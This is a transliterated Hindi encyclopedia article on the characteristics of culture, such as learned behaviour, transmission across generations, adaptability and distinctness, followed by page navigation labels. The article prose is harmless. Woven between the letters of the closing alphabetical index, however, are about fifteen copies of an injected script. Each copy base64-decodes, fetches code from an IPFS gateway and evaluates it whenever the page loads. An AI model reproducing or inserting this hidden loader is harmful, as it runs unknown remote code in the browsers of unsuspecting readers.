संस्कृति के लक्षण

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bharatiy sanskriti vishv ki sarvadhik prachin evan samriddh sanskriti hai. any deshoan ki sanskritiyaan to samay ki dhara ke sath-sath nasht hoti rahi haian, kintu bharat ki sanskriti adi kal se hi apane paramparagat astitv ke sath ajar-amar bani huee hai. isaki udarata tatha samanyavadi gunoan ne any sanskritiyoan ko samahit to kiya hai, kintu apane astitv ke mool ko surakshit rakha hai. tabhi to pashchaty vidvan apane desh ki sanskriti ko samajhane hetu bharatiy sanskriti ko pahale samajhane ka paramarsh dete haian.

sanskriti ke lakshan athava visheshataean

sanskriti ke pramukh lakshan ya visheshataean nimnalikhit haian-

sikha hua vyavahar-

vyakti samaj mean rahakar janm se mrityu tak kuchh n kuchh sikhata hi rahata hai aur anubhav prapt karata rahata hai, jo age chalakar sanskriti ka roop dharan kar leta hai. sanskriti kisi ek ki n hokar, samooh ki hua karati hai. at: samooh ke sikhe hue vyavaharoan ko hi sanskriti kaha jata hai.

hastantaranashilata-

sanskriti sikha hua vyavahar hai, jo anek pidhiyoan tak hastantarit hota rahata hai. manushy ek bauddhik prani hai, at: vah apane jnan ke adhar par apane sikhe hue vyavahar ko ane vali pidhi ko hastantarit kar deta hai aur is hastantaran ka adhar us samooh ki bhasha aur us samooh ke dvara svikriti prapt pratik ya chihn hote haian, jo ki atyant hi pavitr samajhe jate haian, aur in pratikoan ke prati samooh ki gahari shraddha hoti hai. hastantaranashilata ke karan hi sanskriti hazaroan-lakhoan varshoan ke bad bhi nasht nahian hoti hai.

samajikata-

vyakti ke dvara sanskriti ka nirman hota hai aur har vyakti mean sanskriti ke gun paye jate haian. pratyek vyakti sanskriti ke sambandh mean prayatnashil rahata hai, kintu sanskriti vyaktigat nahian hoti, vah samajik hoti hai. kisi vyakti vishesh ke gunoan ko sanskriti nahian kaha ja sakata hai. sanskriti samajik gunoan ka nam hai. sanskriti mean sabhi samajik gunoan ka samavesh hota hai, jaise - dharm, pratha, parampara, riti-rivaj, rahan-sahan, qanoon, sahity, bhasha adi.

adarshatmak-

sanskriti samooh ke sadasyoan ke vyavaharoan ka adarsh roop hoti hai aur pratyek sadasy use adarsh manata hai. sanskriti mean samajik vichar, vyavahar, pratiman evan adarsh praroop hote haian aur inhian ke anusar kary karana shreshth samajha jata hai. pratyek samaj apani sanskriti ko doosare samajoan ki sanskriti se shreshth manata hai. is shreshthata ka adhar usaki sanskriti ke adarsh pratiroop hi haian.

avashyakataoan ki poorti-

avashyakata avishkar ki janani hai, aur inhian avashyakataoan ki poorti ke lie jo sadhan ya upakaran apanae jate haian, kalantar mean ve hi sanskriti ka roop dharan kar lete haian. anek avashyakataean aisi hoti haian, jinaki poorti any sadhanoan se n hokar sanskriti ke madhyam se hoti hai. samajik aur pranishastriy donoan prakar ki avashyakataoan ki poorti satat sanskriti dvara hoti hai.

anukoolan ki kshamata-

samaj parivartanashil hai aur isake sath hi sath sanskriti bhi parivartit hoti rahati hai. in parivartanoan ke bich pratyek sanskriti ko apane paryavaran se anukoolan karana p data hai. isake sath hi, samay ki maang ke anusar bhi sanskriti ko parivartit hona p data hai. yah parivartan satat chalata rahata hai.

ekikaran ki kshamata-

sanskriti ke vibhinn aang milakar ek samagrata ka nirman karate haian. sanskriti ke ye pratiman sthir aur dridh hote haian. pratyek sanskriti apane avayavoan ko ekasootr mean baandhe rahati hai, aur sath hi doosari sanskriti ke tattvoan ko bhi atmasat karati rahati hai. chooanki sanskriti ke tattv ekikrit rahate haian, at: inamean shighr parivartan nahian ho pata hai.

prithakata ya bhinnta-

sanskriti ka nirman desh, kal aur paristhiti ke madhy hota hai. pratyek desh ke vyaktiyoan ki avashyakataean bhinn-bhinn hoti haian. at: in avashyakataoan ki poorti ke lie upakaran bhi bhinn-bhinn hote haian. chooanki vibhinn deshoan ke nivasiyoan ki avashyakataean alag-alag hoti haian, at: achar-vichar aur vyavahar bhi alag-alag hote haian. isilie ek desh ki sanskriti doosare desh ki sanskriti se bhinn ya prithakh hoti hai.

adhi vaiyaktik tatha adhi savayavi-

sanskriti ek vyakti ke vyavahar ka parinam hoti hai. isilie aisa kaha jata hai ki sanskriti vyakti ki shakti ke oopar hoti hai. yah samoohik vyavahar ek pidhi se doosari pidhi tak hastaantarit hota hai. sanskriti dvara vyakti ke achar-vichar, rahan-sahan, veshabhoosha prabhavit hote haian, jabaki akela vyakti sanskriti ke pratimanoan ko badal nahian sakata hai. isilie aisa mana jata hai ki sanskriti adhi vaiyaktik hoti hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

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